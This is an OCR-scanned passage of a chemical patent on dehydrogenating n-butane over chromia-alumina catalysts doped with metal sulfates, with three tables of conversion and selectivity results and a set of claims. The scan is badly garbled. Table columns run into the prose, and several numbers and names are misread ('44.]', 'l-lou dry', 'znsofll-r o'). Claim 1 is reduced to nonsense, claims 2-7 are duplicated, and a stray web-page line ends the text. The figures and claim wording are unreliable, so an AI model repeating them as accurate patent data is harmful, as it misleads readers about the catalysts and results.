TABLE I Selectivity Selectivity Yield of Total Hours Conversion to Butene to Butadiene Butene und Example Catalyst Operation of n-Butane Production Production Butadiene 1 Houdry C 89 46.2 mole 84.4 mole 11.3 mole 44.2 mole plus 3 weight 112 45.3 do. 85.3 do. 10.1 do. 43.2 do. percent 136 44.8 do. 86.2 do. 10.1 do. 43.1 do. Zn SO -7H,O
2 Houdry C 71.5 46.3 mole 85.8 mole 8.8 mole 43.8 mole plus 5 weight 90.5 45.9 do. 85.0 do. 9.9 do. 43.5 do. percent 117.5 48.1 do. v 84.8 do. 10.9 do. 46.0 do. Zn SO 7H O 138.5 47.2 do. 86.6 do. 9.6 do. 45.4 do.
162.0 44.] do. 87.5 do. 8.4 do. 42.3 do.
3 l-lou dry C 90.0 42.9 mole 86.6 mole 9.8 mole 41.3 mole plus 10 weight 121.0 40.0 do. 86.1 do. 10.7 do. 38.7 do. percent 138.5 40.3 do. 85.1 do. 11.0 do. 38.7 do. Zn SO -7H O EXAMPLES 4-6 chromia component of the catalyst consisted entirely of chromia-alumina catalyst obtained commercially under The dehydrogenation process of Examples l-3 was the trade name Hat shaw Cr02l1. The results obtained repeated with the sole exception that the alumina in these examples are shown in Table II.
TABLE II Selectivity Selectivity Yield of Total Hours Conversion to Butene to Butadiene Butene and Example Catalyst Operation of n-Butane Production Production Butadiene 4 Harshaw 5.0 21.1 mole 76.1 mole 11.7 mole 18.6 mole Cr02ll 18.0 35.6 do. 80.9 do. 11.7 do. 33 do. plus 5 weight 89.0 43.2 do. 82.3 do. 11.1 do. 40.3 do. percent 112.0 41.3 do. 84.1 do. 107 do. 39.2 do. znsofll-r o 136.0 40.4 do. 84.2 do. 10 4 do. 38.2 do.
5 Harshaw 66.0 46.3 mole 83.4 mole 9.9 mole 43.2 mole Cr0211 89.5 45.9 do. 85.2 do. 9.6 do. 43.5 do. plus 5 weight 113.5 42.7 do. 83.9 do. 11.4 do. 40.8 do. percent 137.5 43.4 do. 85.3 do. 9 4 do. 41.1 do. MgSO '7H O 6 Harshaw 3.5 40.3 mole 85.3 mole 8 4 mole 37 7 mole Cr0211 71.5 45.3 do. 86.4 do. 8 0 do. 42.8 do. plus 5 weight 90.5 48.3 do. 87.3 do. 9.6 do. 46.7 do. percent 117.5 43.8 do. 84.7 do. 9.4 do. 41.2 do. 11,80 138.5 45.9 do. 84.7 do. 10.0 do. 43.4 do.
163.0 42.7 do. 85.6 do. 9 6 do. 40.6 do.
COMPARISON EXAMPLES 7-8 catalyst obtained under the trade name Harshaw For comparison purposes, the dehydrogenation pro- Cr0211. The results obtained in these examples are cess of Examples 13 and 4-6 were repeated with the shown in Table III. The Houdry C and Harshaw Cr02ll sole exception that the catalyst used in Example 7 con catalysts were subjected to the slurry treatment in desisted entirely of the chromia-alumina catalyst commineralized water as detailed in the description of Exmercially obtained under the trade name l-lou dry C and amples 1-3, however, no other component was added the catalyst usedin Example 8 consisted entirely of the to the slurry.
TABLE III Selectivity Selectivity Yield of Total Hours Conversion to Butene to Butadiene Butene and Example Catalyst Operation of n-Butane Production Production Butadiene 7 Houdry C 23.5 49.4 rn ole mole 9.6 mole 44.8 mole 52.5 46.9 do. 85.7 do. 10.4 do. 45.] do. 118.5 44.8 do. 85 do. 10.8 do. 42.8 do. 142.5 42.3 do. 85.2 do. 10.7 do. 40.1 do 167.5 42.9 do. 83.7 do. 11.7 do. 40.9 do
8 Harshaw 4.5 446 mole 82 4 mole 10.2 mole 41.2 mole Cr021l 23.5 42.3 do. 84.1 do. 10.5 do. 40.0 do 52.5 41.7 do. 83.6 do. 10.4 do. 39.2 do 118.5 41.4 do. 84.9 do. 9.7 do. 39.2 do 142.5 41.6 do. 84.9 do. 9.8 do. 39.4 do 167.5 38.8 do. 84.2 do. 10.4 do. 36.7 do
We claim: 1. A process for the catalytic dehydrogenation of organic compounds having from 2 to carbon atoms and at least one taining compound selected from the group consisting of metal sulfates, sulfuric acid and mixtures thereof i the t a i Reins e e anine.
2. A process according to claim 1 wherein the alumina is gamma alumina, eta alumina or a mixture thereof.
3. A process according to claim 1 wherein the organic compound has between 2 and 12 carbon atoms.
4. A process according to claim 1 wherein the organic compound has 4 or 5 carbon atoms.
5. A process according to claim 1 wherein the organic compound is essentially n-butane.
6. A process according to claim 1 wherein the temperature is between 500C and 600C and the active catalyst consists of from 18 percent to 20 percent by weight chromium oxide, 3 percent to 10 percent of a sulfur containing compound consisting of metal sulfates, sulfuric acid and mixture thereof with the remainder being essentially alumina.
7. A process according to claim 1 wherein the sulfur containing compound is selected from the group consisting of sulfuric acid, zinc sulfate, cobalt sulfate, magnesium sulfate and mixtures thereof.
2. A process according to claim 1 wherein the alumina is gamma alumina, eta alumina or a mixture thereof.
3. A process according to claim 1 wherein the organic compound has between 2 and 12 carbon atoms.
4. A process according to claim 1 wherein the organic compound has 4 or 5 carbon atoms.
5. A process according to claim 1 wherein the organic compound is essentially n-butane.
6. A process according to claim 1 wherein the temperature is between 500*C and 600*C And the active catalyst consists of from 18 percent to 20 percent by weight chromium oxide, 3 percent to 10 percent of a sulfur containing compound consisting of metal sulfates, sulfuric acid and mixture thereof with the remainder being essentially alumina.
7. A process according to claim 1 wherein the sulfur containing compound is selected from the group consisting of sulfuric acid, zinc sulfate, cobalt sulfate, magnesium sulfate and mixtures thereof.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.